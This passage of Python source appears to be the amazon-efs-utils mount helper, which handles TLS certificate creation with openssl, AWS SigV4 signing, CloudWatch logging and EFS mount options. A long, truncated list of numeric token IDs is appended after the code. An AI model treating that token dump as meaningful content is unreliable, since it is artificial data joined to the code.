certificate_config = os.path.join(tls_paths['mount_dir'], 'config.conf')
certificate_signing_request = os.path.join(tls_paths['mount_dir'], 'request.csr')
certificate = os.path.join(tls_paths['mount_dir'], 'certificate.pem')
ca_dirs_check(config, tls_paths['database_dir'], tls_paths['certs_dir'])
ca_supporting_files_check(tls_paths['index'], tls_paths['index_attr'], tls_paths['serial'], tls_paths['rand'])
private_key = check_and_create_private_key(base_path)
if security_credentials:
public_key = os.path.join(tls_paths['mount_dir'], 'publicKey.pem')
create_public_key(private_key, public_key)
create_ca_conf(certificate_config, common_name, tls_paths['mount_dir'], private_key, current_time, region, fs_id,
security_credentials, ap_id, client_info)
create_certificate_signing_request(certificate_config, private_key, certificate_signing_request)
not_before = get_certificate_timestamp(current_time, minutes=-NOT_BEFORE_MINS)
not_after = get_certificate_timestamp(current_time, hours=NOT_AFTER_HOURS)
cmd = 'openssl ca -startdate %s -enddate %s -selfsign -batch -notext -config %s -in %s -out %s' % \
(not_before, not_after, certificate_config, certificate_signing_request, certificate)
subprocess_call(cmd, 'Failed to create self-signed client-side certificate')
return current_time.strftime(CERT_DATETIME_FORMAT)
def get_private_key_path():
"""Wrapped for mocking purposes in unit tests"""
return PRIVATE_KEY_FILE
def check_and_create_private_key(base_path=STATE_FILE_DIR):
# Creating RSA private keys is slow, so we will create one private key and allow mounts to share it.
# This means, however, that we have to include a locking mechanism to ensure that the private key is
# atomically created, as mounts occurring in parallel may try to create the key simultaneously.
key = get_private_key_path()
@contextmanager
def open_lock_file():
lock_file = os.path.join(base_path, 'efs-utils-lock')
f = os.open(lock_file, os.O_CREAT | os.O_DSYNC | os.O_EXCL | os.O_RDWR)
try:
lock_file_contents = 'PID: %s' % os.getpid()
os.write(f, lock_file_contents.encode('utf-8'))
yield f
finally:
os.close(f)
os.remove(lock_file)
def do_with_lock(function):
while True:
try:
with open_lock_file():
return function()
except OSError as e:
if e.errno == errno.EEXIST:
logging.info('Failed to take out private key creation lock, sleeping 50 ms')
time.sleep(0.05)
else:
raise
def generate_key():
if os.path.isfile(key):
return
cmd = 'openssl genpkey -algorithm RSA -out %s -pkeyopt rsa_keygen_bits:3072' % key
subprocess_call(cmd, 'Failed to create private key')
read_only_mode = 0o400
os.chmod(key, read_only_mode)
do_with_lock(generate_key)
return key
def create_certificate_signing_request(config_path, private_key, csr_path):
cmd = 'openssl req -new -config %s -key %s -out %s' % (config_path, private_key, csr_path)
subprocess_call(cmd, 'Failed to create certificate signing request (csr)')
def create_ca_conf(config_path, common_name, directory, private_key, date,
region, fs_id, security_credentials, ap_id, client_info):
"""Populate ca/req configuration file with fresh configurations at every mount since SigV4 signature can change"""
public_key_path = os.path.join(directory, 'publicKey.pem')
ca_extension_body = ca_extension_builder(ap_id, security_credentials, fs_id, client_info)
efs_client_auth_body = efs_client_auth_builder(public_key_path, security_credentials['AccessKeyId'],
security_credentials['SecretAccessKey'], date, region, fs_id,
security_credentials['Token']) if security_credentials else ''
efs_client_info_body = efs_client_info_builder(client_info) if client_info else ''
full_config_body = CA_CONFIG_BODY % (directory, private_key, common_name, ca_extension_body,
efs_client_auth_body, efs_client_info_body)
with open(config_path, 'w') as f:
f.write(full_config_body)
return full_config_body
def ca_extension_builder(ap_id, security_credentials, fs_id, client_info):
ca_extension_str = '[ v3_ca ]\nsubjectKeyIdentifier = hash'
if ap_id:
ca_extension_str += '\n1.3.6.1.4.1.4843.7.1 = ASN1:UTF8String:' + ap_id
if security_credentials:
ca_extension_str += '\n1.3.6.1.4.1.4843.7.2 = ASN1:SEQUENCE:efs_client_auth'
ca_extension_str += '\n1.3.6.1.4.1.4843.7.3 = ASN1:UTF8String:' + fs_id
if client_info:
ca_extension_str += '\n1.3.6.1.4.1.4843.7.4 = ASN1:SEQUENCE:efs_client_info'
return ca_extension_str
def efs_client_auth_builder(public_key_path, access_key_id, secret_access_key, date, region, fs_id, session_token=None):
public_key_hash = get_public_key_sha1(public_key_path)
canonical_request = create_canonical_request(public_key_hash, date, access_key_id, region, fs_id, session_token)
string_to_sign = create_string_to_sign(canonical_request, date, region)
signature = calculate_signature(string_to_sign, date, secret_access_key, region)
efs_client_auth_str = '[ efs_client_auth ]'
efs_client_auth_str += '\naccessKeyId = UTF8String:' + access_key_id
efs_client_auth_str += '\nsignature = OCTETSTRING:' + signature
efs_client_auth_str += '\nsigv4DateTime = UTCTIME:' + date.strftime(CERT_DATETIME_FORMAT)
if session_token:
efs_client_auth_str += '\nsessionToken = EXPLICIT:0,UTF8String:' + session_token
return efs_client_auth_str
def efs_client_info_builder(client_info):
efs_client_info_str = '[ efs_client_info ]'
for key, value in client_info.items():
efs_client_info_str += '\n%s = UTF8String:%s' % (key, value)
return efs_client_info_str
def create_public_key(private_key, public_key):
cmd = 'openssl rsa -in %s -outform PEM -pubout -out %s' % (private_key, public_key)
subprocess_call(cmd, 'Failed to create public key')
def subprocess_call(cmd, error_message):
"""Helper method to run shell openssl command and to handle response error messages"""
retry_times = 3
for retry in range(retry_times):
process = subprocess.Popen(cmd.split(), stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=True)
(output, err) = process.communicate()
rc = process.poll()
if rc != 0:
logging.error('Command %s failed, rc=%s, stdout="%s", stderr="%s"' % (cmd, rc, output, err), exc_info=True)
try:
process.kill()
except OSError:
# Silently fail if the subprocess has exited already
pass
else:
return output, err
error_message = '%s, error is: %s' % (error_message, err)
fatal_error(error_message, error_message)
def ca_dirs_check(config, database_dir, certs_dir):
"""Check if mount's database and certs directories exist and if not, create directories (also create all intermediate
directories if they don't exist)."""
if not os.path.exists(database_dir):
create_required_directory(config, database_dir)
if not os.path.exists(certs_dir):
create_required_directory(config, certs_dir)
def ca_supporting_files_check(index_path, index_attr_path, serial_path, rand_path):
"""Recreate all supporting openssl ca and req files if they're not present in their respective directories"""
if not os.path.isfile(index_path):
open(index_path, 'w').close()
if not os.path.isfile(index_attr_path):
with open(index_attr_path, 'w+') as f:
f.write('unique_subject = no')
if not os.path.isfile(serial_path):
with open(serial_path, 'w+') as f:
f.write('00')
if not os.path.isfile(rand_path):
open(rand_path, 'w').close()
def get_certificate_timestamp(current_time, **kwargs):
updated_time = current_time + timedelta(**kwargs)
return updated_time.strftime(CERT_DATETIME_FORMAT)
def get_utc_now():
"""
Wrapped for patching purposes in unit tests
"""
return datetime.utcnow()
def assert_root():
if os.geteuid() != 0:
sys.stderr.write('only root can run mount.efs\n')
sys.exit(1)
def read_config(config_file=CONFIG_FILE):
try:
p = ConfigParser.SafeConfigParser()
except AttributeError:
p = ConfigParser()
p.read(config_file)
return p
def bootstrap_logging(config, log_dir=LOG_DIR):
raw_level = config.get(CONFIG_SECTION, 'logging_level')
levels = {
'debug': logging.DEBUG,
'info': logging.INFO,
'warning': logging.WARNING,
'error': logging.ERROR,
'critical': logging.CRITICAL
}
level = levels.get(raw_level.lower())
level_error = False
if not level:
# delay logging error about malformed log level until after logging is configured
level_error = True
level = logging.INFO
max_bytes = config.getint(CONFIG_SECTION, 'logging_max_bytes')
file_count = config.getint(CONFIG_SECTION, 'logging_file_count')
handler = RotatingFileHandler(os.path.join(log_dir, LOG_FILE), maxBytes=max_bytes, backupCount=file_count)
handler.setFormatter(logging.Formatter(fmt='%(asctime)s - %(levelname)s - %(message)s'))
logger = logging.getLogger()
logger.setLevel(level)
logger.addHandler(handler)
if level_error:
logging.error('Malformed logging level "%s", setting logging level to %s', raw_level, level)
def get_dns_name(config, fs_id):
def _validate_replacement_field_count(format_str, expected_ct):
if format_str.count('{') != expected_ct or format_str.count('}') != expected_ct:
raise ValueError('DNS name format has an incorrect number of replacement fields')
dns_name_format = config.get(CONFIG_SECTION, 'dns_name_format')
if '{fs_id}' not in dns_name_format:
raise ValueError('DNS name format must include {fs_id}')
format_args = {'fs_id': fs_id}
expected_replacement_field_ct = 1
if '{region}' in dns_name_format:
expected_replacement_field_ct += 1
format_args['region'] = get_target_region(config)
if '{dns_name_suffix}' in dns_name_format:
expected_replacement_field_ct += 1
config_section = CONFIG_SECTION
region = format_args.get('region')
if region:
region_specific_config_section = '%s.%s' % (CONFIG_SECTION, region)
if config.has_section(region_specific_config_section):
config_section = region_specific_config_section
format_args['dns_name_suffix'] = config.get(config_section, 'dns_name_suffix')
logging.debug("Using dns_name_suffix %s in config section [%s]", format_args.get('dns_name_suffix'), config_section)
_validate_replacement_field_count(dns_name_format, expected_replacement_field_ct)
dns_name = dns_name_format.format(**format_args)
try:
socket.gethostbyname(dns_name)
except socket.gaierror:
fatal_error('Failed to resolve "%s" - check that your file system ID is correct.\nSee %s for more detail.'
% (dns_name, 'https://docs.aws.amazon.com/console/efs/mount-dns-name'),
'Failed to resolve "%s"' % dns_name)
return dns_name
def tls_paths_dictionary(mount_name, base_path=STATE_FILE_DIR):
tls_dict = {
'mount_dir': os.path.join(base_path, mount_name),
# every mount will have its own ca mode assets due to lack of multi-threading support in openssl
'database_dir': os.path.join(base_path, mount_name, 'database'),
'certs_dir': os.path.join(base_path, mount_name, 'certs'),
'index': os.path.join(base_path, mount_name, 'database/index.txt'),
'index_attr': os.path.join(base_path, mount_name, 'database/index.txt.attr'),
'serial': os.path.join(base_path, mount_name, 'database/serial'),
'rand': os.path.join(base_path, mount_name, 'database/.rand')
}
return tls_dict
def get_public_key_sha1(public_key):
# truncating public key to remove the header and footer '-----(BEGIN|END) PUBLIC KEY-----'
with open(public_key, 'r') as f:
lines = f.readlines()
lines = lines[1:-1]
key = ''.join(lines)
key = bytearray(base64.b64decode(key))
# Parse the public key to pull out the actual key material by looking for the key BIT STRING
# Example:
# 0:d=0 hl=4 l= 418 cons: SEQUENCE
# 4:d=1 hl=2 l= 13 cons: SEQUENCE
# 6:d=2 hl=2 l= 9 prim: OBJECT :rsaEncryption
# 17:d=2 hl=2 l= 0 prim: NULL
# 19:d=1 hl=4 l= 399 prim: BIT STRING
cmd = 'openssl asn1parse -inform PEM -in %s' % public_key
output, err = subprocess_call(cmd, 'Unable to ASN1 parse public key file, %s, correctly' % public_key)
key_line = ''
for line in output.splitlines():
if 'BIT STRING' in line.decode('utf-8'):
key_line = line.decode('utf-8')
if not key_line:
err_msg = 'Public key file, %s, is incorrectly formatted' % public_key
fatal_error(err_msg, err_msg)
key_line = key_line.replace(' ', '')
# DER encoding TLV (Tag, Length, Value)
# - the first octet (byte) is the tag (type)
# - the next octets are the length - "definite form"
# - the first octet always has the high order bit (8) set to 1
# - the remaining 127 bits are used to encode the number of octets that follow
# - the following octets encode, as big-endian, the length (which may be 0) as a number of octets
# - the remaining octets are the "value" aka content
#
# For a BIT STRING, the first octet of the value is used to signify the number of unused bits that exist in the last
# content byte. Note that this is explicitly excluded from the SubjectKeyIdentifier hash, per
# https://tools.ietf.org/html/rfc5280#section-4.2.1.2
#
# Example:
# 0382018f00...<subjectPublicKey>
# - 03 - BIT STRING tag
# - 82 - 2 length octets to follow (ignore high order bit)
# - 018f - length of 399
# - 00 - no unused bits in the last content byte
offset = int(key_line.split(':')[0])
key = key[offset:]
num_length_octets = key[1] & 0b01111111
# Exclude the tag (1), length (1 + num_length_octets), and number of unused bits (1)
offset = 1 + 1 + num_length_octets + 1
key = key[offset:]
sha1 = hashlib.sha1()
sha1.update(key)
return sha1.hexdigest()
def create_canonical_request(public_key_hash, date, access_key, region, fs_id, session_token=None):
"""
Create a Canonical Request - https://docs.aws.amazon.com/general/latest/gr/sigv4-create-canonical-request.html
"""
formatted_datetime = date.strftime(SIGV4_DATETIME_FORMAT)
credential = quote_plus(access_key + '/' + get_credential_scope(date, region))
request = HTTP_REQUEST_METHOD + '\n'
request += CANONICAL_URI + '\n'
request += create_canonical_query_string(public_key_hash, credential, formatted_datetime, session_token) + '\n'
request += CANONICAL_HEADERS % fs_id + '\n'
request += SIGNED_HEADERS + '\n'
sha256 = hashlib.sha256()
sha256.update(REQUEST_PAYLOAD.encode())
request += sha256.hexdigest()
return request
def create_canonical_query_string(public_key_hash, credential, formatted_datetime, session_token=None):
canonical_query_params = {
'Action': 'Connect',
# Public key hash is included in canonical request to tie the signature to a specific key pair to avoid replay attacks
'PublicKeyHash': quote_plus(public_key_hash),
'X-Amz-Algorithm': ALGORITHM,
'X-Amz-Credential': credential,
'X-Amz-Date': quote_plus(formatted_datetime),
'X-Amz-Expires': 86400,
'X-Amz-SignedHeaders': SIGNED_HEADERS,
}
if session_token:
canonical_query_params['X-Amz-Security-Token'] = quote_plus(session_token)
# Cannot use urllib.urlencode because it replaces the %s's
return '&'.join(['%s=%s' % (k, v) for k, v in sorted(canonical_query_params.items())])
def create_string_to_sign(canonical_request, date, region):
"""
Create a String to Sign - https://docs.aws.amazon.com/general/latest/gr/sigv4-create-string-to-sign.html
"""
string_to_sign = ALGORITHM + '\n'
string_to_sign += date.strftime(SIGV4_DATETIME_FORMAT) + '\n'
string_to_sign += get_credential_scope(date, region) + '\n'
sha256 = hashlib.sha256()
sha256.update(canonical_request.encode())
string_to_sign += sha256.hexdigest()
return string_to_sign
def calculate_signature(string_to_sign, date, secret_access_key, region):
"""
Calculate the Signature - https://docs.aws.amazon.com/general/latest/gr/sigv4-calculate-signature.html
"""
def _sign(key, msg):
return hmac.new(key, msg.encode('utf-8'), hashlib.sha256)
key_date = _sign(('AWS4' + secret_access_key).encode('utf-8'), date.strftime(DATE_ONLY_FORMAT)).digest()
add_region = _sign(key_date, region).digest()
add_service = _sign(add_region, SERVICE).digest()
signing_key = _sign(add_service, 'aws4_request').digest()
return _sign(signing_key, string_to_sign).hexdigest()
def get_credential_scope(date, region):
return '/'.join([date.strftime(DATE_ONLY_FORMAT), region, SERVICE, AWS4_REQUEST])
def match_device(config, device):
"""Return the EFS id and the remote path to mount"""
try:
remote, path = device.split(':', 1)
except ValueError:
remote = device
path = '/'
if FS_ID_RE.match(remote):
return remote, path
try:
primary, secondaries, _ = socket.gethostbyname_ex(remote)
hostnames = list(filter(lambda e: e is not None, [primary] + secondaries))
except socket.gaierror:
create_default_cloudwatchlog_agent_if_not_exist(config)
fatal_error(
'Failed to resolve "%s" - check that the specified DNS name is a CNAME record resolving to a valid EFS DNS '
'name' % remote,
'Failed to resolve "%s"' % remote
)
if not hostnames:
create_default_cloudwatchlog_agent_if_not_exist(config)
fatal_error(
'The specified domain name "%s" did not resolve to an EFS mount target' % remote
)
for hostname in hostnames:
efs_fqdn_match = EFS_FQDN_RE.match(hostname)
if efs_fqdn_match:
fs_id = efs_fqdn_match.group('fs_id')
expected_dns_name = get_dns_name(config, fs_id)
# check that the DNS name of the mount target matches exactly the DNS name the CNAME resolves to
if hostname == expected_dns_name:
return fs_id, path
else:
create_default_cloudwatchlog_agent_if_not_exist(config)
fatal_error('The specified CNAME "%s" did not resolve to a valid DNS name for an EFS mount target. '
'Please refer to the EFS documentation for mounting with DNS names for examples: %s'
% (remote, 'https://docs.aws.amazon.com/efs/latest/ug/mounting-fs-mount-cmd-dns-name.html'))
def is_nfs_mount(mountpoint):
cmd = ['stat', '-f', '-L', '-c', '%T', mountpoint]
p = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=True)
output, _ = p.communicate()
return output and 'nfs' in str(output)
def mount_tls(config, init_system, dns_name, path, fs_id, mountpoint, options):
if os.path.ismount(mountpoint) and is_nfs_mount(mountpoint):
sys.stdout.write("%s is already mounted, please run 'mount' command to verify\n" % mountpoint)
logging.warning("%s is already mounted, mount aborted" % mountpoint)
return
with bootstrap_tls(config, init_system, dns_name, fs_id, mountpoint, options) as tunnel_proc:
mount_completed = threading.Event()
t = threading.Thread(target=poll_tunnel_process, args=(tunnel_proc, fs_id, mount_completed))
t.daemon = True
t.start()
mount_nfs(dns_name, path, mountpoint, options)
mount_completed.set()
t.join()
def check_unsupported_options(options):
for unsupported_option in UNSUPPORTED_OPTIONS:
if unsupported_option in options:
warn_message = 'The "%s" option is not supported and has been ignored, as amazon-efs-utils relies on a built-in ' \
'trust store.' % unsupported_option
sys.stderr.write('WARN: %s\n' % warn_message)
logging.warning(warn_message)
del options[unsupported_option]
def check_options_validity(options):
if 'tls' in options:
if 'port' in options:
fatal_error('The "port" and "tls" options are mutually exclusive')
if 'tlsport' in options:
try:
int(options['tlsport'])
except ValueError:
fatal_error('tlsport option [%s] is not an integer' % options['tlsport'])
if 'ocsp' in options and 'noocsp' in options:
fatal_error('The "ocsp" and "noocsp" options are mutually exclusive')
if 'accesspoint' in options:
if 'tls' not in options:
fatal_error('The "tls" option is required when mounting via "accesspoint"')
if not AP_ID_RE.match(options['accesspoint']):
fatal_error('Access Point ID %s is malformed' % options['accesspoint'])
if 'iam' in options and 'tls' not in options:
fatal_error('The "tls" option is required when mounting via "iam"')
if 'awsprofile' in options and 'iam' not in options:
fatal_error('The "iam" option is required when mounting with named profile option, "awsprofile"')
if 'awscredsuri' in options and 'iam' not in options:
fatal_error('The "iam" option is required when mounting with "awscredsuri"')
if 'awscredsuri' in options and 'awsprofile' in options:
fatal_error('The "awscredsuri" and "awsprofile" options are mutually exclusive')
def bootstrap_cloudwatch_logging(config, fs_id=None):
if not check_if_cloudwatch_log_enabled(config):
return None
cloudwatchlog_client = get_botocore_client(config, 'logs')
if not cloudwatchlog_client:
return None
cloudwatchlog_config = get_cloudwatchlog_config(config, fs_id)
log_group_name = cloudwatchlog_config.get('log_group_name')
log_stream_name = cloudwatchlog_config.get('log_stream_name')
retention_days = cloudwatchlog_config.get('retention_days')
group_creation_completed = create_cloudwatch_log_group(cloudwatchlog_client, log_group_name)
if not group_creation_completed:
return None
put_retention_policy_completed = put_cloudwatch_log_retention_policy(cloudwatchlog_client, log_group_name, retention_days)
if not put_retention_policy_completed:
return None
stream_creation_completed = create_cloudwatch_log_stream(cloudwatchlog_client, log_group_name, log_stream_name)
if not stream_creation_completed:
return None
return {
'client': cloudwatchlog_client,
'log_group_name': log_group_name,
'log_stream_name': log_stream_name
}
def create_default_cloudwatchlog_agent_if_not_exist(config):
if not check_if_cloudwatch_log_enabled(config):
return None
global CLOUDWATCHLOG_AGENT
if not CLOUDWATCHLOG_AGENT:
CLOUDWATCHLOG_AGENT = bootstrap_cloudwatch_logging(config)
def get_botocore_client(config, service):
if not BOTOCORE_PRESENT:
logging.error('Failed to import botocore, please install botocore first.')
return None
session = botocore.session.get_session()
region = get_target_region(config)
iam_role_name = get_iam_role_name()
if iam_role_name:
credentials, _ = get_aws_security_credentials_from_instance_metadata(iam_role_name)
if credentials:
return session.create_client(service, aws_access_key_id=credentials['AccessKeyId'],
aws_secret_access_key=credentials['SecretAccessKey'],
aws_session_token=credentials['Token'], region_name=region)
return session.create_client(service, region_name=region)
def get_cloudwatchlog_config(config, fs_id=None):
log_group_name = DEFAULT_CLOUDWATCH_LOG_GROUP
if config.has_option(CLOUDWATCH_LOG_SECTION, 'log_group_name'):
log_group_name = config.get(CLOUDWATCH_LOG_SECTION, 'log_group_name')
retention_days = DEFAULT_RETENTION_DAYS
if config.has_option(CLOUDWATCH_LOG_SECTION, 'retention_in_days'):
retention_days = config.get(CLOUDWATCH_LOG_SECTION, 'retention_in_days')
log_stream_name = get_cloudwatch_log_stream_name(fs_id)
return {
'log_group_name': log_group_name,
'retention_days': int(retention_days),
'log_stream_name': log_stream_name
}
def get_cloudwatch_log_stream_name(fs_id=None):
instance_id = get_instance_identity_info_from_instance_metadata('instanceId')
if instance_id and fs_id:
log_stream_name = '%s - %s - mount.log' % (fs_id, instance_id)
elif instance_id:
log_stream_name = '%s - mount.log' % (instance_id)
elif fs_id:
log_stream_name = '%s - mount.log' % (fs_id)
else:
log_stream_name = 'default - mount.log'
return log_stream_name
def check_if_cloudwatch_log_enabled(config):
if config.has_option(CLOUDWATCH_LOG_SECTION, 'enabled'):
return config.getboolean(CLOUDWATCH_LOG_SECTION, 'enabled')
return False
def cloudwatch_create_log_group_helper(cloudwatchlog_client, log_group_name):
cloudwatchlog_client.create_log_group(
logGroupName=log_group_name
)
logging.info('Created cloudwatch log group %s' % log_group_name)
def create_cloudwatch_log_group(cloudwatchlog_client, log_group_name):
try:
cloudwatch_create_log_group_helper(cloudwatchlog_client, log_group_name)
except ClientError as e:
exception = e.response['Error']['Code']
if exception == 'ResourceAlreadyExistsException':
logging.debug('Log group %s already exist, %s' % (log_group_name, e.response))
return True
elif exception == 'LimitExceededException':
logging.error('Reached the maximum number of log groups that can be created, %s' % e.response)
return False
elif exception == 'OperationAbortedException':
logging.debug('Multiple requests to update the same log group %s were in conflict, %s' % (log_group_name, e.response))
return False
elif exception == 'InvalidParameterException':
logging.error('Log group name %s is specified incorrectly, %s' % (log_group_name, e.response))
return False
else:
handle_general_botocore_exceptions(e)
return False
except NoCredentialsError as e:
logging.warning('Credentials are not properly configured, %s' % e)
return False
except EndpointConnectionError as e:
logging.warning('Could not connect to the endpoint, %s' % e)
return False
except Exception as e:
logging.warning('Unknown error, %s.' % e)
return False
return True
def cloudwatch_put_retention_policy_helper(cloudwatchlog_client, log_group_name, retention_days):
cloudwatchlog_client.put_retention_policy(
logGroupName=log_group_name,
retentionInDays=retention_days
)
logging.debug('Set cloudwatch log group retention days to %s' % retention_days)
def put_cloudwatch_log_retention_policy(cloudwatchlog_client, log_group_name, retention_days):
try:
cloudwatch_put_retention_policy_helper(cloudwatchlog_client, log_group_name, retention_days)
except ClientError as e:
exception = e.response['Error']['Code']
if exception == 'ResourceNotFoundException':
logging.error('Log group %s does not exist, %s' % (log_group_name, e.response))
return False
elif exception == 'OperationAbortedException':
logging.debug('Multiple requests to update the same log group %s were in conflict, %s' % (log_group_name, e.response))
return False
elif exception == 'InvalidParameterException':
logging.error('Either parameter log group name %s or retention in days %s is specified incorrectly, %s'
% (log_group_name, retention_days, e.response))
return False
else:
handle_general_botocore_exceptions(e)
return False
except NoCredentialsError as e:
logging.warning('Credentials are not properly configured, %s' % e)
return False
except EndpointConnectionError as e:
logging.warning('Could not connect to the endpoint, %s' % e)
return False
except Exception as e:
logging.warning('Unknown error, %s.' % e)
return False
return True
def cloudwatch_create_log_stream_helper(cloudwatchlog_client, log_group_name, log_stream_name):
cloudwatchlog_client.create_log_stream(
logGroupName=log_group_name,
logStreamName=log_stream_name
)
logging.info('Created cloudwatch log stream %s in log group %s' % (log_stream_name, log_group_name))
def create_cloudwatch_log_stream(cloudwatchlog_client, log_group_name, log_stream_name):
try:
cloudwatch_create_log_stream_helper(cloudwatchlog_client, log_group_name, log_stream_name)
except ClientError as e:
exception = e.response['Error']['Code']
if exception == 'ResourceAlreadyExistsException':
logging.debug('Log stream %s already exist in log group %s, %s' % (log_stream_name, log_group_name, e.response))
return True
elif exception == 'InvalidParameterException':
logging.error('Either parameter log group name %s or log stream name %s is specified incorrectly, %s'
% (log_group_name, log_stream_name, e.response))
return False
elif exception == 'ResourceNotFoundException':
logging.error('Log group %s does not exist, %s' % (log_group_name, e.response))
return False
else:
handle_general_botocore_exceptions(e)
return False
except NoCredentialsError as e:
logging.warning('Credentials are not properly configured, %s' % e)
return False
except EndpointConnectionError as e:
logging.warning('Could not connect to the endpoint, %s' % e)
return False
except Exception as e:
logging.warning('Unknown error, %s.' % e)
return False
return True
def cloudwatch_put_log_events_helper(cloudwatchlog_agent, message, token=None):
kwargs = {
'logGroupName': cloudwatchlog_agent.get('log_group_name'),
'logStreamName': cloudwatchlog_agent.get('log_stream_name'),
'logEvents': [
{
'timestamp': int(round(time.time() * 1000)),
'message': message
}
]
}
if token:
kwargs['sequenceToken'] = token
cloudwatchlog_agent.get('client').put_log_events(**kwargs)
def publish_cloudwatch_log(cloudwatchlog_agent, message):
if not cloudwatchlog_agent or not cloudwatchlog_agent.get('client'):
return False
token = get_log_stream_next_token(cloudwatchlog_agent)
try:
cloudwatch_put_log_events_helper(cloudwatchlog_agent, message, token)
except ClientError as e:
exception = e.response['Error']['Code']
if exception == 'InvalidSequenceTokenException':
logging.debug('The sequence token is not valid, %s' % e.response)
return False
elif exception == 'InvalidParameterException':
logging.debug('One of the parameter to put log events is not valid, %s' % e.response)
return False
elif exception == 'DataAlreadyAcceptedException':
logging.debug('The event %s was already logged, %s' % (message, e.response))
return False
elif exception == 'UnrecognizedClientException':
logging.debug('The most likely cause is an invalid AWS access key ID or secret Key, %s' % e.response)
return False
elif exception == 'ResourceNotFoundException':
logging.error('Either log group %s or log stream %s does not exist, %s'
% (cloudwatchlog_agent.get('log_group_name'), cloudwatchlog_agent.get('log_stream_name'), e.response))
return False
else:
logging.debug('Unexpected error: %s' % e)
return False
except NoCredentialsError as e:
logging.warning('Credentials are not properly configured, %s' % e)
return False
except EndpointConnectionError as e:
logging.warning('Could not connect to the endpoint, %s' % e)
return False
except Exception as e:
logging.warning('Unknown error, %s.' % e)
return False
return True
def cloudwatch_describe_log_streams_helper(cloudwatchlog_agent):
return cloudwatchlog_agent.get('client').describe_log_streams(
logGroupName=cloudwatchlog_agent.get('log_group_name'),
logStreamNamePrefix=cloudwatchlog_agent.get('log_stream_name')
)
def get_log_stream_next_token(cloudwatchlog_agent):
try:
response = cloudwatch_describe_log_streams_helper(cloudwatchlog_agent)
except ClientError as e:
exception = e.response['Error']['Code']
if exception == 'InvalidParameterException':
logging.debug('Either parameter log group name %s or log stream name %s is specified incorrectly, %s'
% (cloudwatchlog_agent.get('log_group_name'), cloudwatchlog_agent.get('log_stream_name'), e.response))
elif exception == 'ResourceNotFoundException':
logging.debug('Either log group %s or log stream %s does not exist, %s'
% (cloudwatchlog_agent.get('log_group_name'), cloudwatchlog_agent.get('log_stream_name'), e.response))
else:
handle_general_botocore_exceptions(e)
return None
except NoCredentialsError as e:
logging.warning('Credentials are not properly configured, %s' % e)
return None
except EndpointConnectionError as e:
logging.warning('Could not connect to the endpoint, %s' % e)
return None
except Exception as e:
logging.warning('Unknown error, %s' % e)
return None
try:
log_stream = response['logStreams'][0]
return log_stream.get('uploadSequenceToken')
except (IndexError, TypeError, KeyError):
pass
return None
def handle_general_botocore_exceptions(error):
exception = error.response['Error']['Code']
if exception == 'ServiceUnavailableException':
logging.debug('The service cannot complete the request, %s' % error.response)
elif exception == 'AccessDeniedException':
logging.debug('User is not authorized to perform the action, %s' % error.response)
else:
logging.debug('Unexpected error: %s' % error)
def main():
parse_arguments_early_exit()
assert_root()
config = read_config()
bootstrap_logging(config)
fs_id, path, mountpoint, options = parse_arguments(config)
logging.info('version=%s options=%s', VERSION, options)
global CLOUDWATCHLOG_AGENT
CLOUDWATCHLOG_AGENT = bootstrap_cloudwatch_logging(config, fs_id)
check_unsupported_options(options)
check_options_validity(options)
init_system = get_init_system()
check_network_status(fs_id, init_system)
dns_name = get_dns_name(config, fs_id)
if 'tls' in options:
mount_tls(config, init_system, dns_name, path, fs_id, mountpoint, options)
else:
mount_nfs(dns_name, path, mountpoint, options)
if '__main__' == __name__:
main()
| [
1,
18787,
4855,
29914,
2109,
29914,
6272,
3017,
13,
29937,
13,
29937,
14187,
1266,
29871,
29906,
29900,
29896,
29955,
29899,
29906,
29900,
29896,
29947,
16631,
29889,
510,
29892,
9266,
29889,
322,
967,
23736,
1078,
29889,
2178,
26863,
2538,
9841,
29889,
13,
29937,
13,
29937,
10413,
21144,
1090,
278,
341,
1806,
19245,
29889,
2823,
278,
365,
2965,
1430,
1660,
10259,
1384,
292,
445,
934,
13,
29937,
363,
278,
2702,
4086,
14765,
1076,
11239,
322,
27028,
1090,
13,
29937,
278,
19245,
29889,
13,
29937,
13,
29937,
13,
29937,
14187,
445,
2471,
304,
847,
29879,
2109,
29914,
16476,
29889,
1389,
29879,
322,
1207,
1854,
372,
338,
16813,
29889,
13,
29937,
13,
29937,
887,
674,
367,
2221,
304,
5766,
385,
382,
9998,
934,
1788,
491,
967,
3273,
1024,
29892,
491,
4417,
372,
13,
29937,
304,
847,
7070,
29914,
29888,
29256,
29889,
450,
5877,
310,
385,
285,
29256,
6251,
338,
29901,
13,
29937,
13,
29937,
518,
11501,
29962,
518,
27648,
8984,
29962,
518,
2283,
2184,
5167,
29962,
518,
5856,
29962,
518,
29928,
3427,
29962,
518,
7129,
29962,
13,
29937,
13,
29937,
3462,
385,
6251,
763,
445,
29901,
13,
29937,
13,
29937,
259,
18920,
29899,
311,
328,
915,
1389,
268,
847,
16476,
29918,
3149,
1678,
321,
5847,
268,
903,
1212,
3359,
3986,
29900,
1678,
29900,
13,
29937,
13,
29937,
5293,
278,
525,
1389,
29879,
29915,
1134,
674,
4556,
8207,
29879,
2109,
29914,
16476,
29889,
1389,
29879,
29915,
304,
367,
2000,
491,
525,
16476,
448,
29874,
29915,
13,
29937,
363,
445,
934,
1788,
29889,
450,
22868,
1212,
3359,
29915,
2984,
10603,
278,
2069,
1788,
393,
278,
13,
29937,
525,
1389,
29879,
29915,
1134,
338,
263,
3564,
287,
934,
1788,
1134,
29889,
910,
756,
1063,
9528,
411,
1788,
29881,
13,
29937,
313,
29909,
655,
6626,
8074,
29871,
29906,
29892,
2895,
3267,
29871,
29955,
29892,
390,
29950,
6670,
29871,
29955,
29892,
7089,
713,
29871,
29929,
29892,
322,
8294,
29871,
29896,
29953,
29889,
29900,
29946,
511,
322,
701,
2962,
13,
29937,
313,
29909,
655,
6626,
8074,
29871,
29906,
29900,
29896,
29955,
29889,
29900,
29929,
467,
13,
29937,
13,
29937,
9038,
727,
338,
385,
6251,
297,
285,
29256,
29892,
278,
934,
1788,
508,
367,
19239,
411,
29901,
13,
29937,
13,
29937,
259,
9196,
5766,
847,
16476,
29918,
3149,
13,
29937,
13,
29937,
450,
2471,
674,
788,
13622,
5766,
3987,
29892,
565,
451,
4944,
297,
285,
29256,
29889,
13,
13,
5215,
2967,
29953,
29946,
13,
5215,
4589,
1217,
13,
5215,
6608,
1982,
13,
5215,
298,
8628,
13,
5215,
4390,
13,
5215,
12183,
13,
5215,
2897,
13,
5215,
